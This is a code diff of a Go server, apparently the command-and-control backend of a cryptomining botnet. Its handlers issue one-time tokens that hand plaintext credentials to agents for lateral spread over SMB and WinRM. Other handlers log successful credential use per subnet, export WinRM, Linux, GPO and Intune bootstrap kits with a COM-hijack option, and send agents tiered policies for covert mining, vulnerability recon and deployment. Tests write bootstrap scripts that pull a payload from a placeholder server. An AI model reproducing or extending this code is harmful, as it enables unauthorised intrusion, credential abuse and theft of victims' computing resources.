req.Token = strings.TrimSpace(req.Token)
|
||||
if req.Token == "" {
|
||||
http.Error(w, "token required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
entry, ok := consumeSpreadCredToken(req.Token)
|
||||
if !ok {
|
||||
http.Error(w, "invalid or expired token", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"profile_id": entry.ProfileID,
|
||||
"username": entry.Username,
|
||||
"password": entry.Password,
|
||||
"host": entry.Host,
|
||||
"subnet": entry.Subnet,
|
||||
"method": entry.Method,
|
||||
})
|
||||
}
|
||||
|
||||
// POST /api/v1/agent/spread-cred/report
|
||||
func (h *SpreadCredHandler) ReportEdge(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadCredReportRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.Host = strings.TrimSpace(req.Host)
|
||||
req.Subnet = strings.TrimSpace(req.Subnet)
|
||||
req.CredentialProfileID = strings.TrimSpace(req.CredentialProfileID)
|
||||
req.Method = strings.TrimSpace(req.Method)
|
||||
req.AgentID = strings.TrimSpace(req.AgentID)
|
||||
if req.Host == "" || req.Subnet == "" || req.CredentialProfileID == "" {
|
||||
http.Error(w, "host, subnet, and credential_profile_id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if err := h.db.InsertCredEdge(req.Host, req.Subnet, req.CredentialProfileID, req.Method, req.AgentID, req.Success); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
}
|
||||
171
server/internal/api/spread_cred_test.go
Normal file
171
server/internal/api/spread_cred_test.go
Normal file
@@ -0,0 +1,171 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
type stubSpreadCredProvider struct {
|
||||
profiles []DeploymentCredProfile
|
||||
ordered []DeploymentCredProfile
|
||||
username string
|
||||
password string
|
||||
}
|
||||
|
||||
func (s *stubSpreadCredProvider) DeploymentProfiles() []DeploymentCredProfile {
|
||||
return s.profiles
|
||||
}
|
||||
|
||||
func (s *stubSpreadCredProvider) OrderProfilesForSubnet(_ string, _ []dbpkg.CredProfileAffinity) []DeploymentCredProfile {
|
||||
if len(s.ordered) > 0 {
|
||||
return s.ordered
|
||||
}
|
||||
return s.profiles
|
||||
}
|
||||
|
||||
func (s *stubSpreadCredProvider) LoadProfileSecret(_ string) (string, string, error) {
|
||||
return s.username, s.password, nil
|
||||
}
|
||||
|
||||
func TestSpreadCredAffinityIssuePicksWinner(t *testing.T) {
|
||||
d, err := dbpkg.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
if err := d.InsertCredEdge("10.0.0.20", "10.0.0", "profile-b", "smb_scm", "agent-x", true); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
provider := &stubSpreadCredProvider{
|
||||
profiles: []DeploymentCredProfile{
|
||||
{ID: "profile-a", Label: "A", Username: "lab\\a"},
|
||||
{ID: "profile-b", Label: "B", Username: "lab\\b"},
|
||||
},
|
||||
ordered: []DeploymentCredProfile{{ID: "profile-b", Label: "B", Username: "lab\\b"}},
|
||||
username: "lab\\b",
|
||||
password: "secret-pass",
|
||||
}
|
||||
h := NewSpreadCredHandler(d, provider)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{
|
||||
"agent_id": "agent-1",
|
||||
"host": "10.0.0.55",
|
||||
"subnet": "10.0.0",
|
||||
"method": "smb_scm",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/issue", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.IssueToken(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("issue status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var issued struct {
|
||||
Token string `json:"token"`
|
||||
ProfileID string `json:"profile_id"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &issued); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if issued.ProfileID != "profile-b" || issued.Token == "" {
|
||||
t.Fatalf("unexpected issue payload: %#v", issued)
|
||||
}
|
||||
|
||||
redeemBody, _ := json.Marshal(map[string]string{"token": issued.Token})
|
||||
redeemReq := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/redeem", bytes.NewReader(redeemBody))
|
||||
redeemRec := httptest.NewRecorder()
|
||||
h.RedeemToken(redeemRec, redeemReq)
|
||||
if redeemRec.Code != http.StatusOK {
|
||||
t.Fatalf("redeem status %d: %s", redeemRec.Code, redeemRec.Body.String())
|
||||
}
|
||||
redeemBody2, _ := json.Marshal(map[string]string{"token": issued.Token})
|
||||
redeemReq2 := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/redeem", bytes.NewReader(redeemBody2))
|
||||
redeemAgain := httptest.NewRecorder()
|
||||
h.RedeemToken(redeemAgain, redeemReq2)
|
||||
if redeemAgain.Code != http.StatusUnauthorized {
|
||||
t.Fatalf("expected one-time token, got %d", redeemAgain.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpreadCredReportAndCredGraph(t *testing.T) {
|
||||
dataDir := t.TempDir()
|
||||
d, err := dbpkg.New(dataDir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
provider := &stubSpreadCredProvider{}
|
||||
h := NewSpreadCredHandler(d, provider)
|
||||
spreadH := NewSpreadHandler(d, dataDir, t.TempDir(), nil)
|
||||
|
||||
reportBody, _ := json.Marshal(map[string]interface{}{
|
||||
"agent_id": "agent-9",
|
||||
"host": "10.1.1.10",
|
||||
"subnet": "10.1.1",
|
||||
"credential_profile_id": "profile-z",
|
||||
"method": "winrm_encoded",
|
||||
"success": true,
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/report", bytes.NewReader(reportBody))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ReportEdge(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("report status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
for _, path := range []string{"/api/v1/spread/credential-graph", "/api/v1/emberwake/cred-graph"} {
|
||||
graphReq := httptest.NewRequest(http.MethodGet, path, nil)
|
||||
graphRec := httptest.NewRecorder()
|
||||
spreadH.GetCredGraph(graphRec, graphReq)
|
||||
if graphRec.Code != http.StatusOK {
|
||||
t.Fatalf("%s graph status %d: %s", path, graphRec.Code, graphRec.Body.String())
|
||||
}
|
||||
var graph struct {
|
||||
Subnets []struct {
|
||||
Subnet string `json:"subnet"`
|
||||
Edges int `json:"edges"`
|
||||
SuccessCount int `json:"success_count"`
|
||||
FailCount int `json:"fail_count"`
|
||||
} `json:"subnets"`
|
||||
}
|
||||
if err := json.Unmarshal(graphRec.Body.Bytes(), &graph); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(graph.Subnets) != 1 || graph.Subnets[0].Subnet != "10.1.1" || graph.Subnets[0].Edges != 1 {
|
||||
t.Fatalf("%s unexpected graph: %#v", path, graph.Subnets)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpreadServiceGraphFromCache(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
spreadH := NewSpreadHandler(nil, t.TempDir(), t.TempDir(), hub)
|
||||
|
||||
fixture := `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.1.2.3","subnet":"10.1.2","services":[{"service_name":"docker","join_lane_candidate":"docker","status":"running"}]},"lan_hosts":[{"host":"10.1.2.40","subnet":"10.1.2","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","status":"open"}]}]}`
|
||||
hub.cacheServiceDiscover("agent-svc", fixture)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/spread/service-graph?agent_id=agent-svc&subnet=10.1.2.x", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
spreadH.GetServiceGraph(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("service graph status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var resp struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Subnet string `json:"subnet"`
|
||||
Services []ServiceGraphEntry `json:"services"`
|
||||
}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if resp.AgentID != "agent-svc" || resp.Subnet != "10.1.2" || len(resp.Services) != 2 {
|
||||
t.Fatalf("unexpected service graph: %#v", resp)
|
||||
}
|
||||
}
|
||||
|
||||
60
server/internal/api/spread_cred_token.go
Normal file
60
server/internal/api/spread_cred_token.go
Normal file
@@ -0,0 +1,60 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
const spreadCredTokenTTL = 90 * time.Second
|
||||
|
||||
type spreadCredTokenEntry struct {
|
||||
AgentID string
|
||||
ProfileID string
|
||||
Username string
|
||||
Password string
|
||||
Host string
|
||||
Subnet string
|
||||
Method string
|
||||
ExpiresAt time.Time
|
||||
}
|
||||
|
||||
var (
|
||||
spreadCredTokenMu sync.Mutex
|
||||
spreadCredTokens = map[string]spreadCredTokenEntry{}
|
||||
)
|
||||
|
||||
func issueSpreadCredToken(entry spreadCredTokenEntry) string {
|
||||
b := make([]byte, 24)
|
||||
_, _ = rand.Read(b)
|
||||
token := hex.EncodeToString(b)
|
||||
entry.ExpiresAt = time.Now().Add(spreadCredTokenTTL)
|
||||
|
||||
spreadCredTokenMu.Lock()
|
||||
spreadCredTokens[token] = entry
|
||||
if len(spreadCredTokens) > 1024 {
|
||||
now := time.Now()
|
||||
for k, v := range spreadCredTokens {
|
||||
if now.After(v.ExpiresAt) {
|
||||
delete(spreadCredTokens, k)
|
||||
}
|
||||
}
|
||||
}
|
||||
spreadCredTokenMu.Unlock()
|
||||
return token
|
||||
}
|
||||
|
||||
func consumeSpreadCredToken(token string) (spreadCredTokenEntry, bool) {
|
||||
spreadCredTokenMu.Lock()
|
||||
defer spreadCredTokenMu.Unlock()
|
||||
entry, ok := spreadCredTokens[token]
|
||||
if !ok || time.Now().After(entry.ExpiresAt) {
|
||||
if ok {
|
||||
delete(spreadCredTokens, token)
|
||||
}
|
||||
return spreadCredTokenEntry{}, false
|
||||
}
|
||||
delete(spreadCredTokens, token)
|
||||
return entry, true
|
||||
}
|
||||
@@ -2,6 +2,7 @@ package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -139,6 +140,16 @@ type npmHelperExportRequest struct {
|
||||
Campaign string `json:"campaign"`
|
||||
}
|
||||
|
||||
type spreadTemplateExportRequest struct {
|
||||
Template string `json:"template"` // winrm | linux-lotl | gpo | intune
|
||||
ServerURL string `json:"server_url"`
|
||||
BuildID string `json:"build_id"`
|
||||
Campaign string `json:"campaign"`
|
||||
COMHijack bool `json:"com_hijack"`
|
||||
LOTLMode string `json:"lotl_mode"` // systemd_run_user | crontab | both | off
|
||||
AgentPath string `json:"agent_path"`
|
||||
}
|
||||
|
||||
// POST /api/v1/builder/spread-kit-export
|
||||
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadKitExportRequest
|
||||
@@ -287,6 +298,87 @@ func (h *SpreadHandler) ExportNpmHelper(w http.ResponseWriter, r *http.Request)
|
||||
writeZipAttachment(w, sanitizeExportSlug(req.Campaign)+"-npm-helper.zip", data)
|
||||
}
|
||||
|
||||
// POST /api/v1/builder/spread-template-export
|
||||
func (h *SpreadHandler) ExportSpreadTemplate(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadTemplateExportRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.Template = strings.TrimSpace(strings.ToLower(req.Template))
|
||||
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
||||
req.BuildID = strings.TrimSpace(req.BuildID)
|
||||
req.Campaign = strings.TrimSpace(req.Campaign)
|
||||
req.LOTLMode = strings.TrimSpace(req.LOTLMode)
|
||||
req.AgentPath = strings.TrimSpace(req.AgentPath)
|
||||
if req.ServerURL == "" {
|
||||
http.Error(w, "server_url required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.Template == "" {
|
||||
http.Error(w, "template required (winrm|linux-lotl|gpo|intune)", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
subdir, filename, err := spreadTemplatePaths(req.Template)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
templateDir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
|
||||
if _, err := os.Stat(templateDir); err != nil {
|
||||
http.Error(w, "spread template not found: "+subdir, http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
|
||||
comHijack := "false"
|
||||
if req.COMHijack {
|
||||
comHijack = "true"
|
||||
}
|
||||
lotlMode := req.LOTLMode
|
||||
if lotlMode == "" {
|
||||
lotlMode = "systemd_run_user"
|
||||
}
|
||||
agentPath := req.AgentPath
|
||||
if agentPath == "" {
|
||||
agentPath = `C:\ProgramData\AetherForge\worker.exe`
|
||||
}
|
||||
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": req.ServerURL,
|
||||
"{{BUILD_ID}}": req.BuildID,
|
||||
"{{CAMPAIGN}}": req.Campaign,
|
||||
"{{QUERY_SUFFIX}}": querySuffix,
|
||||
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
||||
"{{COM_HIJACK}}": comHijack,
|
||||
"{{LOTL_MODE}}": lotlMode,
|
||||
"{{AGENT_PATH}}": agentPath,
|
||||
}
|
||||
|
||||
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
||||
if err != nil {
|
||||
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeZipAttachment(w, filename, data)
|
||||
}
|
||||
|
||||
func spreadTemplatePaths(template string) (subdir, zipName string, err error) {
|
||||
switch template {
|
||||
case "winrm":
|
||||
return "winrm", "aetherforge-winrm-bootstrap.zip", nil
|
||||
case "linux-lotl", "linux_lotl":
|
||||
return "linux", "aetherforge-linux-lotl.zip", nil
|
||||
case "gpo", "enterprise-gpo":
|
||||
return "enterprise", "aetherforge-gpo-startup.zip", nil
|
||||
case "intune", "enterprise-intune":
|
||||
return "enterprise", "aetherforge-intune-startup.zip", nil
|
||||
default:
|
||||
return "", "", fmt.Errorf("unknown template %q", template)
|
||||
}
|
||||
}
|
||||
|
||||
// PUT /api/v1/builds/{id}/public
|
||||
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
|
||||
@@ -44,6 +44,30 @@ func writeSpreadTemplates(t *testing.T, root string) {
|
||||
if err := os.WriteFile(filepath.Join(spreadDir, "index.html"), []byte("<html>{{SERVER_URL}}{{QUERY_SUFFIX}}</html>"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
winrmDir := filepath.Join(root, "templates", "spread", "winrm")
|
||||
if err := os.MkdirAll(winrmDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte("{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}} COM={{COM_HIJACK}}"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
linuxDir := filepath.Join(root, "templates", "spread", "linux")
|
||||
if err := os.MkdirAll(linuxDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte("#!/bin/sh\n# {{LOTL_MODE}} {{SERVER_URL}}\n"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
entDir := filepath.Join(root, "templates", "spread", "enterprise")
|
||||
if err := os.MkdirAll(entDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte("{{SERVER_URL}}{{GET_QUERY_SUFFIX}}"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func readZipEntries(t *testing.T, body []byte) map[string]string {
|
||||
@@ -155,6 +179,47 @@ func TestExportSpreadKitZIP(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportSpreadTemplateZIP(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
||||
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"template": "winrm",
|
||||
"server_url": "https://deck.example",
|
||||
"build_id": "pin-9",
|
||||
"campaign": "winrm-lab",
|
||||
"com_hijack": true,
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ExportSpreadTemplate(rec, req)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
entries := readZipEntries(t, rec.Body.Bytes())
|
||||
if !strings.Contains(entries["bootstrap.ps1"], "https://deck.example/get?os=windows&pin=pin-9&c=winrm-lab") {
|
||||
t.Fatalf("bootstrap.ps1: %s", entries["bootstrap.ps1"])
|
||||
}
|
||||
if !strings.Contains(entries["bootstrap.ps1"], "COM=true") {
|
||||
t.Fatalf("expected COM_HIJACK replacement: %s", entries["bootstrap.ps1"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportSpreadTemplateRequiresTemplate(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
||||
body, _ := json.Marshal(map[string]string{"server_url": "https://x"})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ExportSpreadTemplate(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportWordPressPluginRequiresSiteName(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
|
||||
37
server/internal/api/vuln_handler.go
Normal file
37
server/internal/api/vuln_handler.go
Normal file
@@ -0,0 +1,37 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/vuln"
|
||||
)
|
||||
|
||||
// VulnHandler serves cached CVE catalog JSON for fleet assessment UI.
|
||||
type VulnHandler struct {
|
||||
mu sync.RWMutex
|
||||
cachedAt time.Time
|
||||
}
|
||||
|
||||
func NewVulnHandler() *VulnHandler {
|
||||
return &VulnHandler{cachedAt: time.Now()}
|
||||
}
|
||||
|
||||
// Catalog returns embedded lightweight CVE correlator rules (cached 1h).
|
||||
func (h *VulnHandler) Catalog(w http.ResponseWriter, r *http.Request) {
|
||||
h.mu.RLock()
|
||||
stale := time.Since(h.cachedAt) > time.Hour
|
||||
h.mu.RUnlock()
|
||||
if stale {
|
||||
h.mu.Lock()
|
||||
h.cachedAt = time.Now()
|
||||
h.mu.Unlock()
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"catalog": vuln.EmbeddedCatalog,
|
||||
"cached_at": h.cachedAt.UTC().Format(time.RFC3339),
|
||||
"source": "embedded",
|
||||
"authorized": true,
|
||||
})
|
||||
}
|
||||
30
server/internal/api/vuln_handler_test.go
Normal file
30
server/internal/api/vuln_handler_test.go
Normal file
@@ -0,0 +1,30 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestVulnCatalogEndpoint(t *testing.T) {
|
||||
h := NewVulnHandler()
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/vuln/catalog", nil)
|
||||
w := httptest.NewRecorder()
|
||||
h.Catalog(w, req)
|
||||
if w.Code != http.StatusOK {
|
||||
t.Fatalf("status %d", w.Code)
|
||||
}
|
||||
var body struct {
|
||||
Catalog []struct {
|
||||
ID string `json:"id"`
|
||||
} `json:"catalog"`
|
||||
Source string `json:"source"`
|
||||
}
|
||||
if err := json.Unmarshal(w.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body.Source != "embedded" || len(body.Catalog) < 10 {
|
||||
t.Fatalf("unexpected catalog response: %+v", body)
|
||||
}
|
||||
}
|
||||
@@ -17,6 +17,7 @@ import (
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
"crypto-miner-server/internal/vuln"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/gorilla/websocket"
|
||||
@@ -151,6 +152,8 @@ type WSHub struct {
|
||||
agentLogs map[string]string
|
||||
// T1016 DNS drift detection — stores last seen resolver list per agent
|
||||
agentDNS map[string][]string
|
||||
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
|
||||
agentServiceDiscover map[string]cachedServiceDiscover
|
||||
serverPolicy ServerPolicy
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
@@ -168,6 +171,11 @@ type WSHub struct {
|
||||
beaconLastSeen map[string]time.Time
|
||||
beaconCmdQueue map[string][]BeaconCommand
|
||||
beaconPolicyQueue map[string][]FleetAgentPolicy
|
||||
|
||||
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
|
||||
statsBatchMu sync.Mutex
|
||||
statsBatch map[string]json.RawMessage
|
||||
statsBatchTimer *time.Timer
|
||||
}
|
||||
|
||||
func NewWSHub(database *db.Database) *WSHub {
|
||||
@@ -186,7 +194,8 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentCapabilities: make(map[string]models.AgentCapabilities),
|
||||
agentLogs: make(map[string]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
agentDNS: make(map[string][]string),
|
||||
agentServiceDiscover: make(map[string]cachedServiceDiscover),
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
beaconLastSeen: make(map[string]time.Time),
|
||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||
@@ -589,6 +598,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
Campaign string `json:"campaign"`
|
||||
UTM string `json:"utm"`
|
||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -743,6 +754,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
WorkerName: workerName,
|
||||
USBSpread: auth.USBSpread,
|
||||
Campaign: coalesceStr(auth.Campaign, auth.UTM),
|
||||
JoinLane: strings.TrimSpace(auth.JoinLane),
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
@@ -801,10 +813,43 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
go h.runPingLoopAgent(ac)
|
||||
}
|
||||
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": true,
|
||||
"agent_id": agentID,
|
||||
})})
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(func() map[string]interface{} {
|
||||
resp := map[string]interface{}{
|
||||
"success": true,
|
||||
"agent_id": agentID,
|
||||
}
|
||||
if auth.LotlPolicyFromServer {
|
||||
tiers := policy.LotlOnionTiers
|
||||
if len(tiers) == 0 {
|
||||
tiers = []string{
|
||||
"vuln_recon",
|
||||
"docker", "wsl", "powershell", "dotnet", "bits_curl",
|
||||
"smb", "winrm", "linux", "gpo",
|
||||
}
|
||||
}
|
||||
resp["lotl_onion_tiers"] = tiers
|
||||
}
|
||||
mp := policy.MiningTierPolicy
|
||||
if len(mp.TierOrder) == 0 {
|
||||
mp.TierOrder = []string{
|
||||
"exe_subprocess", "docker_load", "container", "wsl", "ps_inmemory",
|
||||
"cpu_inprocess", "gpu_subprocess", "stratum_direct",
|
||||
}
|
||||
}
|
||||
resp["mining_tier_policy"] = mp
|
||||
top := policy.TripleOnionPolicy
|
||||
if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
|
||||
!top.MineIsolatedTier && !top.SkipMiningOnHighRisk {
|
||||
top.PatchFirst = true
|
||||
top.HighRiskThreshold = 50
|
||||
top.ReconTiers = []string{"kev_scan", "vuln_recon", "service_probe", "listen_ports"}
|
||||
top.DeployLanes = []string{
|
||||
"discover_and_join", "docker", "wsl", "powershell", "dotnet", "bits_curl", "smb", "winrm",
|
||||
}
|
||||
}
|
||||
resp["triple_onion_policy"] = top
|
||||
return resp
|
||||
}())})
|
||||
|
||||
// Auto-start mining: ensure the agent isn't stuck in a paused
|
||||
// state from a previous session. The agent's in-memory pause flag
|
||||
@@ -908,6 +953,39 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Status string `json:"status"`
|
||||
StartType string `json:"start_type"`
|
||||
} `json:"services,omitempty"`
|
||||
// Mining fallback cascade
|
||||
ActiveMethod string `json:"active_method,omitempty"`
|
||||
MiningLastError string `json:"last_error,omitempty"`
|
||||
StratumOverlay bool `json:"stratum_overlay,omitempty"`
|
||||
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||||
ChainOrder []string `json:"chain_order,omitempty"`
|
||||
FailedMethods []struct {
|
||||
Method string `json:"method"`
|
||||
Reason string `json:"reason"`
|
||||
At string `json:"at"`
|
||||
} `json:"failed_methods,omitempty"`
|
||||
// Fleet health mining telemetry (coalesced into stats_batch)
|
||||
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||
LOTLAttempts []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
} `json:"lotl_attempts,omitempty"`
|
||||
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
|
||||
VulnFindings []struct {
|
||||
CVEID string `json:"cve_id"`
|
||||
Severity string `json:"severity"`
|
||||
Component string `json:"component"`
|
||||
Patched bool `json:"patched"`
|
||||
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
} `json:"vuln_findings,omitempty"`
|
||||
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
|
||||
continue
|
||||
@@ -1022,6 +1100,66 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
if len(stats.Services) > 0 {
|
||||
broadcast["services"] = stats.Services
|
||||
}
|
||||
if stats.ActiveMethod != "" {
|
||||
broadcast["active_method"] = stats.ActiveMethod
|
||||
}
|
||||
if stats.MiningLastError != "" {
|
||||
broadcast["last_error"] = stats.MiningLastError
|
||||
}
|
||||
if stats.StratumOverlay {
|
||||
broadcast["stratum_overlay"] = true
|
||||
}
|
||||
if stats.ChainExhausted {
|
||||
broadcast["chain_exhausted"] = true
|
||||
}
|
||||
if len(stats.ChainOrder) > 0 {
|
||||
broadcast["chain_order"] = stats.ChainOrder
|
||||
}
|
||||
if len(stats.FailedMethods) > 0 {
|
||||
broadcast["failed_methods"] = stats.FailedMethods
|
||||
}
|
||||
if stats.MiningHashrate > 0 {
|
||||
broadcast["mining_hashrate"] = stats.MiningHashrate
|
||||
}
|
||||
if stats.LOTLTier != "" {
|
||||
broadcast["lotl_tier"] = stats.LOTLTier
|
||||
}
|
||||
if len(stats.LOTLAttempts) > 0 {
|
||||
broadcast["lotl_attempts"] = stats.LOTLAttempts
|
||||
}
|
||||
if stats.StratumEgress != "" {
|
||||
broadcast["stratum_egress"] = stats.StratumEgress
|
||||
}
|
||||
if stats.JoinLane != "" {
|
||||
